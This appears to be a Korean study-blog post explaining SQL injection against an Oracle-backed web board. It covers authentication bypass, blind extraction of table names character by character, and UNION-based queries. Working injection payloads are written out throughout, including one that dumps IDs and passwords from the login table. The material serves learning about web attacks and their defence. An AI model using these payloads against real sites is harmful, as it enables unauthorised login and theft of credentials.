목차
1. SQL 인젝션
1-1 개요
1-2 인증 우회 공격
1-3 Blind Base 공격
1-4 Union base 공격
1. SQL 인젝션
1-1 개요
● 개요
sql 인젝션은 C#, .NET, Java, PHP 등의 웹 응용 프로그램 언어가 데이터베이스와 연동되는 경우 폼이나 쿠키 등의 입력 데이터를 통해 sql 문을 변형하는 공격 기법이다.
● 공격 방법
① 인증 우회 공격
: 쿼리문 조작을 통해 인증 sql 문을 무력화시킨다.
: 통상적인 계정 정보를 이용한다. ex) admin, root, sys 등
② Blind base 공격
: 검색창 등의 입력창을 이용해 데이터베이스에 대한 구조적인 정보를 알아낸다.
: 테이블 명, 컬럼 명, 컬럼 개수, 행의 개수 등을 알아낸다.
③ Union base 공격
: 블라인드 공격을 통해 알아낸 정보를 기반으로 특정 테이블(인증 테이블)의 내용을 검색한다.
1-2 인증 우회 공격
인증에 사용되는 sql 문은 다음과 같다.
$sql= "SELECT 아이디, 패스워드 FROM 유저_테이블 WHERE 아이디= '$id' AND 패스워드= '$pw'";
이때 --(주석)을 이용하여 $pw 부분을 주석처리한다.
ex) 아이디 입력 칸에 id' -- 혹은 id' or 1='1' --
id' --의 경우 인증 테이블의 id를 이미 알고 있어야 가능한 공격으로 1차원/2차원 패치 인증 방식 모두 공격 가능하다.
id' or 1='1' -- 의 경우 인증 테이블의 id를 모르더라도 공격이 가능하나, 이때 인증 테이블의 모든 행을 검색한다. 1차원 패치 인증 방식에는 유효한 공격이지만 2차원 패치 인증 방식은 rownum = 1, 즉 검색 결과 행이 단 하나만 나와야 로그인되므로 공격은 실패한다.
$sql= select * from id where id = '12' --' and passwd = RAWTOHEX(STANDARD_HASH('$userpasswd'||'$id', 'SHA256'));
id' -- 입력 시 위와 같은 sql 문이 실행되지만 --(주석) 이후의 문장은 주석처리되므로 실제로는 다음과 같은 문장이 실행된다.
$sql= select * from id where id = '12'
● 1차원 패치 인증 방식인 경우
※ id' --
※ id' or 1='1' --
- id' --와 id' or 1='1' -- 공격 모두 유효한 것을 확인할 수 있다.
● 2차원 패치 인증 방식인 경우
※ id' --
※ id' or 1='1' --
- id' -- 공격은 유효하나 id' or 1='1' -- 공격은 유효하지 않은 것을 확인할 수 있다.
1-3 Blind Base 공격
Blind 공격은 공격 대상에 대한 어떠한 정보도 없는 상태에서 시스템의 다양한 정보(테이블 명, 컬럼 명 등)를 얻어내는 공격이다.
● 사용되는 SQL 함수
- SUBSTR(문자열, #, #)
: 특정 문자열을 뽑을 때 사용한다.
- LENGTH(문자열)
: 문자열의 글자 수를 뽑을 때 사용한다.
: 바이트 수를 원하는 경우 LENGTHB를 이용한다.
본문 검색에 사용되는 sql 문은 다음과 같다.
$sql= "SELECT 컬럼리스트 FROM 게시판_테이블 WHERE 제목 LIKE '%문자열%' ORDER BY 게시물_번호";
● 관련 SQL 구문
select rownum r, tname from tab order by tname;
- 유저 밑의 테이블로부터 rownum과 함께 테이블 명을 출력한다.
select rownum r, tname from tab order by tname;
select rownum r, tname from tab where rownum=1 order by tname;
select rownum r, tname from tab where rownum=3 order by tname;
- rownum은 출력할 때 정해지므로 조건 검색은 1까지만 가능하다.
select tname from (select rownum r, tname from tab order by tname) where r=3;
- from 절에 select가 있는 인라인 뷰의 경우 rownum의 조건 검색이 가능하다.
select substr((select tname from (select rownum r, tname from tab order by tname) where r=1),1,1) from dual;
select substr((select tname from (select rownum r, tname from tab order by tname) where r=1),2,1) from dual;
- 첫 번째 sql 문은 첫 테이블의 첫 번째 글자부터 한 글자를 출력한다. 즉 첫 테이블의 첫 글자를 알아낸다.
- 두 번째 sql 문은 첫 테이블의 두 번째 글자부터 한 글자를 출력한다.
다음과 같이 치환 변수를 이용하여 좀 더 간편하게 반복 수행 가능하다.
select substr((select tname from (select rownum r, tname from tab order by tname) where r=1),&t,1) from dual;
검색창에 검색 시 작동하는 sql 문을 다음과 같이 시각적으로 확인할 수 있다.
- 검색창에 % 입력 시 모든 게시물이 검색된다.
검색창에 다음 문장을 입력한다.
%%' and substr ((select tname from (select rownum r, tname from tab order by tname) where r=1),1,1) = 'B' --
- 첫 번째 테이블의 첫 글자가 B인 것을 알고 있으므로 첫 글자가 B인 첫 번째 테이블에서 모든 게시물을 검색한다.
** 실제 공격을 수행할 경우 이와 같은 방식으로 테이블 수, 테이블 글자 수, 테이블 이름, 컬럼 수, 컬럼 글자 수, 컬럼 이름을 하나하나 반복 검색하여 찾아야하므로 sql 인젝션은 매우 많은 시간을 소요한다.
1-4 Union base 공격
Union 공격은 Blind 공격을 통해 알아낸 테이블 명, 컬럼 명 등을 기반으로 데이터베이스의 테이블 정보를 알아내는 공격이다.
공격자가 웹페이지의 검색 폼을 이용하여 id, pw, name 등을 select 하기 위해서는 게시글 정보가 담긴 테이블이 아닌 사용자 인증 테이블을 검색해야한다. 이때 union을 통해 검색이 가능하다.
① 검색창에 다음과 같은 문장을 입력하여 게시글 출력 시 검색하는 컬럼의 개수를 파악한다. null의 개수를 점차 늘리며 검색을 반복한다.
%' UNION select null, null, null from dual --
%' UNION select null, null, null, null from dual --
%' UNION select null, null, null, null, null from dual --
- 게시글 출력 시 검색하는 컬럼의 개수와 null의 개수가 같을 경우 위와 같이 빈 칸이 출력된다.
② 검색창에 다음과 같은 문장을 입력하여 해당 컬럼이 출력되는 위치를 파악한다. null 위치에 값을 점차 채우며 검색을 반복한다.
%' UNION select 1, 'A', null, null, . . . from id --
%' UNION select 1, 'A', 'B', null, . . . from id --
%' UNION select 1, 'A', 'B', 'C', . . . from id --
③ 검색창에 다음과 같은 문장을 입력하여 공격자가 원하는 컬럼의 값을 게시판에 출력한다.
%' UNION select 1000, id, passwd, cname, 112 from id --
- 공격자가 원하는 값을 게시판 폼에 맞추어 출력할 수 있다.
** 보안을 위해 패스워드, 주민번호와 같은 민감 정보는 암호화하거나 다른 스키마에 위치시키도록 한다.
'일일 정리' 카테고리의 다른 글
DOCKER (0) | 2025.05.16 |
---|---|
SQL 인젝션 방어 (1) | 2025.05.15 |
snort - rule 설정 (1) | 2025.05.12 |
보안 장비 운용, IDS(Intrusion Detection System), IDS - snort (0) | 2025.05.09 |
리눅스 Firewall 설정 (0) | 2025.05.08 |